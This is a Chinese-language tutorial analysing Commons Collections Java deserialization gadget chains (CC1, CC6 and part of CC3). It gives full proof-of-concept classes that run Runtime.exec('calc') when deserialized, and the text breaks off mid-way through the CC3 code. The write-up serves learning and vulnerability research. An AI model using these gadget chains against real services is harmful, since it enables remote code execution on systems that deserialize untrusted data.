Java反序列化漏洞

Commons Collections

Apache Commons 是 Apache 软件基金会的项目。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Commons Collections的版本是3.2.1,版本过高就无法调试;还有一点就是Commons Collections其实有俩条利用链,lazymap和transformeredmap。现在网上流行的都是对transformeredmap的分析,就是因为它比较简单利用

关于高版本的jdk调用链其实还有办法

小白可能遇到的问题

作者是一个小白,第一次挖Commons-Collections1这一条链子,遇到了一些困难。在这里做一下标记,希望能够帮助小伙伴们解决相同的问题。

  • 寻找jdk版本:Commons-Collections1使用的jdk版本必须是jdk1.8.0_8u71以下,所以我们要适配该版本以下的版本。网上我找了半天没有找到符合要求的jdk,最后看了这位师傅的博客Oracle jdk old release 历史版本下载找到了正确的版本。jdk要下载JDK(JAVA Developpment Kit)

  • 关于windows电脑放入多个jdk的问题:因为我们经常使用不同的jdk版本,解决方法是比如说jdk1.7先在虚拟机中安装好,然后将jdk1.7拷贝出来放到主机的java的jdk目录下

  • JDk源码问题:在Oracle JDK中下载的JDK未必包含我们所需要的部分源码,比如说sun包下的源码就不包含。这就导致我们在调试的时候不方便,所以我们需要在openjdk中下载比较接近Oracle JDK版本的源码。这里提供一个CC1链需要的sun包源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

  • IDEA中导入JDK源码:这个就直接看网上的教程了,

  • IDEA调试的快捷键:

    • 查看接口的继承子类:ctrl+H
    • 查看方法可以被哪里调用:右键选择FindUsages

知识补充:jdk中的包

  1. java.*
    JavaSE的标准库,是java标准的一部分,是对外承诺的java开发接口,通常要保持向后兼容,一般不会轻易修改。包括其他厂家(IBMJDK/HPJDK/OpenJDK)在内,所有jdk的实现,在java.*上都是一样的。
  2. javax.*
    也是java标准的一部分,但是没有包含在标准库中,一般属于标准库的扩展。通常属于某个特定领域,不是一般性的api。

此上两者都属于java标准库,公有的API,遵循java平台规范,

  1. com.sun.*
    是sun的hotspot虚拟机中java.* 和javax.*的实现类。因为包含在rt中,所以我们也可以调用。但是因为不是sun对外公开承诺的接口,所以根据根据实现的需要随时增减,因此在不同版本的hotspot中可能是不同的,而且在其他的jdk实现中是没有的,调用这些类,可能不会向后兼容,所以一般不推荐使用。
  2. org.*
    是由企业或者组织提供的java类库,大部分不是sun公司提供的,同com.sun.*,不具备向后兼容性,会根据需要随时增减。其中比较常用的是w3c提供的对XML、网页、服务器的类和接口
  3. sun.*包:
    1、不是API公开接口的一部分,调用sun包的程序并不能确保工作在所有Java平台上,不同的操作系统中的实现可能不相同。

2、不同的jdk版本sun包中的类也可能不定期的变化,因此sun.*包中的类没有提供API文档及源码。

白日梦组长的利用链导图

最后还有一些利用链没贴

p神知识星球里一位师傅对CC链的整理

CC1-TransformMap

版本限制:

jdk版本:低于jdk1.8.0_8u71

commons-collections版本:

 <dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
  </dependencies>

环境配置

我们需要做的工作是下载一个版本低于jdk1.8.0_8u71的jdk,然后在IDEA中新键一个maven项目(不需要配置javaweb项目)。在项目中的pom.xml中进行导入commons-collections的包。

 <dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
  </dependencies>

然后我们需要在IDEA中配置jdk的版本,我这里配置的是jdk1.8.0_8u65.

利用链分析

java反序列化漏洞的入口类重写了readObject(),然后通过readObject()方法中调用了其他类的方法,以此类推最后可以执行我们的Runtime类的exec危险方法。分析过程我们从执行Runtime类的exec()方法和InvokeTransformerhander反向分析,最后得出完整的整条利用链。

InvokeTransformerhander

InvokerTransformerHander类中的transform方法是一个危险的方法,分析一下它的方法内容,不难发现是用反射来执行一个方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

用UsagesFind找一下哪里可以调用这个类的transform方法。TransformedMap类的checkSetValue能够调用InvokeTransformerhander的transform方法

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

继续UsagesFind寻找,AbstractInputCheckedMapDecoator类的setValue()可以调用这个方法

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

而AnnoationInvocationHander类的readObject方法里面可以调用setvalue方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

因为AnnoationInvocationHander类的构造方法是default,所以我们需要利用反射来构造该类的对象。这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使 用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。

Transformer invokerTransformer 
    = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(hashMap,null,invokerTransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.newInstance(Override.class,transformedMap);

按照上面的思路最后就构造出来这条链子了,但是它是无法进行序列化的。

  1. Runtime这个类没有继承Serializable,无法序列化
  2. AnnotationInvocationHandler的readObject方法的俩个if判断以及最后的可控参数setValue()

Runtime类反射

Runtime无法序列化,但是我们知道它的Class类对象是可以序列化的,那么就需要将Runtime命令执行利用反射写出来

Class clazz0 = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimemethod.invoke(null);
Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);
Object calc = getexecmethod.invoke(runtime,"calc");

但是如果把它放在InvokerTransformer的getInstance中能实现吗?不能实现。但是Commons-Collections框架中有一个ChainedTransformer类transformer方法可以循环利用反射调用方法

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

可以利用它来做加强版的“InvokeTransformer”,而且它的构造方法也比较简单

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

所以我们直接构造一个InvokerTransformer数组

Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);

Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);

Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);

但是需要注意一点这里ChainedTransformer的transformer方法的object参数必须是一个承接一个,所以我们最后优化后的是:

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};

setValue参数

我们需要绕过俩个if,因为涉及到注解的一些知识,这里直接给出条件

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. 被 TransformedMap修饰的Map中必须有一个键名为X的元素

这里选择Target注解,所以键名是value

@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
    /**
     * Returns an array of the kinds of elements an annotation type
     * can be applied to.
     * @return an array of the kinds of elements an annotation type
     * can be applied to
     */
    ElementType[] value();
}

这个问题解决完以后,还有就是setValue()方法的参数。它的参数其实是不可控的,Debug调试一下,当我们走到ChainedTransformer的transform方法时,看到的第一个Object参数,永远不可控。

但是Commons-Collections有一个类是ConstantTransformer,它的transformer参数无论接受什么都会返回iConstant。这对我们来说非常好,并且iConstant参数极其易控制

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

/**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
public Object transform(Object input) {
    return iConstant;
}

所以我们最后构造的Transform数组是:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};

整体的思路:

AnnotationInvocationHandler.readObject()
    -TransformedMap.checkSetValue()
    	-ChainedTransformer.transform()
    		-ConstantTransformer()
    			Runtime.class
    		-InvokerTransformer()
                clazz.getDeclaredMethod()
            -InvokerTransformer()
                method.invoke()
            -InvokerTransformer()
                runtime.exec()

整理一下,最后完整的POC是:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.Class;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void unerialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
        System.out.println("Successful UnSerialize");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC1.ser"));
        objectOutputStream.writeObject(obj);
        System.out.println("Successful Serialize");
    }

    public static void main(String[] args) throws Exception {
//        Transformer invokerTransformer = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
//        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
//        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);
//        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
//        clazzDeclaredConstructor.newInstance(Override.class,transformedMap);

//        Class clazz0 = Class.forName("java.lang.Runtime");
//        Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");
//        Runtime runtime = (Runtime) getRuntimemethod.invoke(null);
//        Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);
//        Object calc = getexecmethod.invoke(runtime,"calc");

//         Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//         Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
//         Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);
//         Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);
//
//         must change
//         Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//         Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
//         new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
         };
         ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
        hashMap.put("value","123");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,chainedtransformer);
        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
        clazzDeclaredConstructor.setAccessible(true);
        Object o = clazzDeclaredConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unerialize("CC1.ser");


    }
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class study {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] {
                                "calc" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

CC1-LazyMap

版本限制:

jdk版本:jdk8u71以下

commons-collections版本:

 <dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
  </dependencies>

CC1有俩条链,这一条链后半部分与前面的那条链后半部分相同,区别在于LazyMap替换了TransformedMap,ChainedTransformer的transform方法通过FindUsages查询发现也可以在LazyMap中找到,并且factory也非常好控制

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

这一条链涉及到了注解和动态代理的知识,比前一条CC1链难理解,这里直接给出Gadget构造思路(以后再进行补充)

Gadget构造思路:

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
    	Map(Proxy).entrySet()
				AnnotationInvocationHandler.invoke()
					LazyMap.get()
						ChainedTransformer.transform()
							ConstantTransformer.transform()
							InvokerTransformer.transform()
								Method.invoke()
									Class.getMethod()
							InvokerTransformer.transform()
								Method.invoke()
									Runtime.getRuntime()
							InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

LazyMap的利用链:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC12 {
    public static void unerialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
        System.out.println("Successful UnSerialize");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC12.ser"));
        objectOutputStream.writeObject(obj);
        System.out.println("Successful Serialize");
    }
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
        hashMap.put("value","123");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
        clazzDeclaredConstructor.setAccessible(true);
        Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
        Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);

        serialize(o);
        unerialize("CC12.ser");

    }
}

CC6-最好的链

版本限制:

jdk版本限制:jdk7和jdk8不受限制

commons-collections:对commons-collections版本限制不大

在前面说了分析了CommonsCollections1这个利⽤链和其中的LazyMap原理。但是我们说到,在 Java 8u71以后,这个利⽤链不能再利⽤了,主要原因 是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。也因为这一次改变导致整个在AnnotationInvocationHandler做为入口类的链都不能用了。CC6这一条链是ysoserial里常用的一条链,该利用链可以在java 7和8的高版本触发,没有版本限制,说实话其实CC6也不会受Commons-Collections的版本限制

这一条链还是调用了CC1的LazyMap开始的后半部分,我们从后面开始分析。

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

如果有个函数的方法可以调用LazyMap的get方法就可以实现漏洞利用,于是我们找到了TiedMapEntry类的hashCode方法,hashCode方法可以调用getValue()方法,getValue()则会调用get方法

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

public Object getValue() {
    return map.get(key);
}

通过寻找我们发现HashMap的readObject()方法调用了hash方法而hash方法里又可以调用TiedMapEntry的hashCode方法,这就很方便了。同时你如果知道URLDNS的话,会发现其中我们需要做一些处理(规避)。

public static void main(String[] args) {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
    };
    ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

    HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
    hashMap.put("value","123");
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
    HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
    hashMap0.put(tiedMapEntry,123);
}

如果我们仅仅是将其这样设计,发现它直接就会弹计算器,如果我们跟进hashMap0.put()会发现它会调用lazyMap的hashCode(),所以会调用计算器,所以我们要规避处理。想办法让它不弹出计算器,通过反射改变链的随便一部分都可以,因为我们有ConstantTransformer。这里我们让LazyMap的decorate先修饰ConstantTransformer,最后通过反射来更改它为Chainedtransformer

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234);

Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedtransformer);

//serialize(hashMap0);
unerialize("CC6.ser");

但是又有一个新的问题,反序列化依然无法弹出计算器。什么原因呢?这一次的问题出现在lazymap的get方法处,这里还是承接了hashMap0.put()带来的影响,详细变化如下:

hashMap0.put()--hashMap0.hash()--TiedMapEntry.hashCode()--TiedMapEntry.getvalue()--LazyMap.get(templatesImpl)--hashMap.containsKey(templatesImpl)--hashMap.put(templatesImpl,)

这样的话hashMap的key中就会在反序列化之前提前有templatesImpl,真正反序列化的时候if (map.containsKey(key) == false)就会判断为真,链子将无法执行。

public Object get(Object key) {
    // create value for key if key is not currently in the map
    // 如果传入的key不在当前修饰的map中,则为key创建value
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value); // <---问题原因
        return value;
    }
    return map.get(key);
}

当我们准备序列化时,走到lazyMap的get()方法时if条件判断为真就会走入get()方法,然后当反序列化的时候map的key已经存在了if判断条件为假就不会再执行if的部分了

所以说我们要在反序列化之前把key值消掉,HashMap的remove()方法可以去掉HashMap的key值所以最后整理的代码是这样:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
hashMap0.put(tiedMapEntry,1234);
hashMap.remove(123);

serialize(hashMap0);

这样就可以成功在反序列化的时候成功弹出计算器了,

整理思路

--HashMap.readObject()
  --HashMap.hash()
    --TiedMapEntry.hashCode()
      --TiedMapEntry.getValue()
    	--LazyMap.get()
    	  --ChainedTransformer().transform()
    		--ConstantTransformer().transform()
    		--InvokerTransformer.transform()
    		--InvokerTransformer.transform()
    		--InvokerTransformer.transform()

最后真正的Poc如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC6 {
    public static void unerialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
        System.out.println("Successful UnSerialize");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC6.ser"));
        objectOutputStream.writeObject(obj);
        System.out.println("Successful Serialize");
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
        hashMap.put("value","123");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);
        HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();
        hashMap0.put(tiedMapEntry,1234);
        hashMap.remove(123);

        Class clazz = LazyMap.class;
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedtransformer);

//        serialize(hashMap0);
        unerialize("CC6.ser");
    }
}

最后成功弹出计算器

CC3-代码执行

版本限制:

jdk版本:依旧编写方式而定

commons-collections

 <dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
  </dependencies>

解释一下这里为什么说jdk版本要按照编写方式而定:CC3本质上只是更改了ChainedTransformer内部的类,把命令执行更换成了代码执行,前面的部分没有发生变化,所以说如果按照CC1的方式写会限制jdk的版本在jdk8u71以下,而按照CC3的方式写就没有jdk7和8版本的限制。

ysoserial中的CC3链与前面说的CC1和CC2以及CC6不同,前面的是命令执行,而这一条链则是代码执行。CC3这一条链使用的是动态类加载(动态加载字节码)的方式,我们利用动态类加载的加载器是java.lang.ClassLoader,使用这一类加载器会顺序执行3个方法来进行类加载:loadClass()findClass()defineClass()

但是由于java.lang.ClassLoader类的defineClass()方法是protected的,所以我们需要寻找重写defineClass()且作用域是public的类,这里我们找到的是TemplateImpl类,

CC3-方式1

CC3的前半部分是CC1(ysoserial)readObject()InvokerTransformer,后半段是TemplateImpl类加载利用链;这条利用链的动态类加载部分在《java反序列化漏洞入门篇》有过记录;这条链的前半部分就是CC1的前半部分。

整体思路:

--ObjectInputStream.readObject()
  --AnnotationInvocationHandler.readObject()
    --Map(Proxy).entrySet()
	  --AnnotationInvocationHandler.invoke()
		--LazyMap.get()
		  --ChainedTransformer.transform()
			--ConstantTransformer.transform()
			--InvokerTransformer.transform()
    		  --method.invoke()
                  --TemplatesImpl.newTransformer()
                    --TemplatesImpl.getTransletInstance()
                      --TemplatesImpl.defineTransletClasses()
                        --TemplateClassLoader.defineClass()
                    --TemplatesImpl.getTransletInstance()

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception{
        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes",new byte[][]{code});
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}),
                //利用InvokerTransformer的反射机制调用templates的newTransformer方法
        };
        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

